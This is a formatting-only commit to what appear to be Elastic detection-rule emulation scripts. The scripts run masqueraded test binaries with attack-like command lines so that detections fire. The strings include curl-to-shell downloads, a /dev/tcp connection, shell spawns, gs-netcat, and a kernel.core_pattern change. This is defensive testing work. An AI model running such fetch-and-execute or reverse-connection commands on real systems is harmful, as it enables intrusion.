Sync RTA Attempt to Fix Sensor Regex Error (#4213)

This commit is contained in:
protections machine
2024-10-29 04:20:12 +11:00
committed by GitHub
parent 5d2940fa7c
commit 1278c27967
26 changed files with 58 additions and 42 deletions
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -21,27 +22,18 @@ metadata = RtaMetadata(
@common.requires_os(*metadata.platforms)
def main() -> None:
# Path for the fake executable
# Path for the fake motd executable
masquerade = "/tmp/foomatic-rip"
source = common.get_path("bin", "netcon_exec_chain.elf")
common.log("Creating a fake executable..")
common.log("Creating a fake motd executable..")
common.copy_file(source, masquerade)
common.log("Granting execute permissions...")
common.execute(['chmod', '+x', masquerade])
common.execute(["chmod", "+x", masquerade])
# Execute the fake executable
common.log("Executing the fake executable..")
commands = [
masquerade,
'chain',
'-h',
'8.8.8.8',
'-p',
'53',
'-c',
'/tmp/foomatic-rip netcon -h 8.8.8.8 -p 53'
]
# Execute the fake motd executable
common.log("Executing the fake motd executable..")
commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "/tmp/foomatic-rip netcon -h 8.8.8.8 -p 53"]
common.execute([*commands], timeout=5, kill=True)
# Cleanup
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
+2 -1
View File
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, 'cdll.LoadLibrary.so']
commands = [masquerade, "cdll.LoadLibrary.so"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, '-h', masquerade, '-c', 'whoami']
commands = [masquerade, "-h", masquerade, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, masquerade, '-c', 'whoami']
commands = [masquerade, masquerade, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, '-r', masquerade2, '-c', 'whoami']
commands = [masquerade, "-r", masquerade2, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, '-e', masquerade, '-c', 'whoami']
commands = [masquerade, "-e", masquerade, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, '-n', masquerade, '-c', 'whoami']
commands = [masquerade, "-n", masquerade, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, masquerade, '--filter=foo', '-c', 'whoami']
commands = [masquerade, masquerade, "--filter=foo", "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, masquerade, 'kernel.core_pattern=/bin/sh -c']
commands = [masquerade, masquerade, "kernel.core_pattern=/bin/sh -c"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-W', '-w', '-z']
commands = [masquerade, "-W", "-w", "-z"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-d', 'IyEvdXNyL2Jpbi9weXRob24']
commands = [masquerade, "-d", "IyEvdXNyL2Jpbi9weXRob24"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, "--write", '/proc/sys/kernel/yama/ptrace_scope']
commands = [masquerade, "--write", "/proc/sys/kernel/yama/ptrace_scope"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-e', '-l', '-p', '/bin/sh']
commands = [masquerade, "-e", "-l", "-p", "/bin/sh"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
+2 -1
View File
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-e', 'spawnsh', 'listen']
commands = [masquerade, "-e", "spawnsh", "listen"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
+2 -1
View File
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-s', '-p', 'sh']
commands = [masquerade, "-s", "-p", "sh"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -35,7 +36,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade2])
commands = [masquerade, masquerade2, '-c', 'whoami']
commands = [masquerade, masquerade2, "-c", "whoami"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
+2 -1
View File
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, 'gs-netcat']
commands = [masquerade, "gs-netcat"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -3,8 +3,8 @@
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
import subprocess
import sys
import time
from . import RtaMetadata, common
@@ -29,22 +29,22 @@ def main() -> None:
network_command = "exec 3<>/dev/tcp/8.8.8.8/53"
# Create the fake parent process script
with open(parent_process_path, "w") as parent_script:
with open(parent_process_path, "w") as parent_script: # noqa: PTH123
parent_script.write("#!/bin/bash\n")
parent_script.write(f"{child_script_path}\n")
# Create the child script that will make the network connection
with open(child_script_path, "w") as child_script:
with open(child_script_path, "w") as child_script: # noqa: PTH123
child_script.write("#!/bin/bash\n")
child_script.write(f"{network_command}\n")
# Make the scripts executable
common.execute(['chmod', '+x', parent_process_path])
common.execute(['chmod', '+x', child_script_path])
common.execute(["chmod", "+x", parent_process_path])
common.execute(["chmod", "+x", child_script_path])
# Execute the parent process script
common.log("Executing the fake parent process script")
subprocess.Popen([parent_process_path])
subprocess.Popen([parent_process_path]) # noqa: S603
# Allow some time for the network connection to be attempted
time.sleep(5)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-c', "socket"]
commands = [masquerade, "-c", "socket"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, 'msr', "allow_writes=on"]
commands = [masquerade, "msr", "allow_writes=on"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-c', 'curl http://8.8.8.8:53 --output']
commands = [masquerade, "-c", "curl http://8.8.8.8:53 --output"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-c', 'curl http://8.8.8.8:53/foo | /tmp/sh']
commands = [masquerade, "-c", "curl http://8.8.8.8:53/foo | /tmp/sh"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)
@@ -4,6 +4,7 @@
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
@@ -29,7 +30,7 @@ def main() -> None:
common.log("Granting execute permissions...")
common.execute(["chmod", "+x", masquerade])
commands = [masquerade, '-c', 'curl http://8.8.8.8:53/foo > /tmp/foo && xxd']
commands = [masquerade, "-c", "curl http://8.8.8.8:53/foo > /tmp/foo && xxd"]
common.execute([*commands], timeout=5, kill=True)
common.log("Cleaning...")
common.remove_file(masquerade)